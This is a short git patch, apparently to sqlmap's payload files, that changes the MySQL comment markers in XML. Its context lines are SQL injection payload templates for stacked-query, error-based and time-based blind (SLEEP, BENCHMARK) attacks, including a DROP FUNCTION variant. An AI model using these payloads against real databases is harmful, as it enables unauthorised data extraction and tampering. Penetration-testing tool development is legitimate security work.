From 75f286cf6d80b3dc60536888368bd48f4e179cec Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 10 Apr 2011 23:41:00 +0000 Subject: [PATCH] minor update conformant to http://dev.mysql.com/doc/refman/4.1/en/comments.html --- xml/payloads.xml | 12 ++++++------ xml/queries.xml | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 0495c387b..ce0774a29 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -912,7 +912,7 @@ Formats: ; IF(([INFERENCE]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR]); ; IF(([RANDNUM]=[RANDNUM]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR]); - -- + -- ; IF(([RANDNUM]=[RANDNUM1]),SELECT [RANDNUM],DROP FUNCTION [RANDSTR]); @@ -1155,7 +1155,7 @@ Formats: OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) - -- + -- [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1507,7 +1507,7 @@ Formats: ; IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]); ; SELECT SLEEP([SLEEPTIME]); - -- + -- @@ -1528,7 +1528,7 @@ Formats: ; IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]); ; SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')); - -- + -- @@ -1779,7 +1779,7 @@ Formats: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME]) - -- + -- @@ -1819,7 +1819,7 @@ Formats: AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) - -- + -- diff --git a/xml/queries.xml b/xml/queries.xml index d1f5b582e..05e29bf1c 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -14,7 +14,7 @@ - +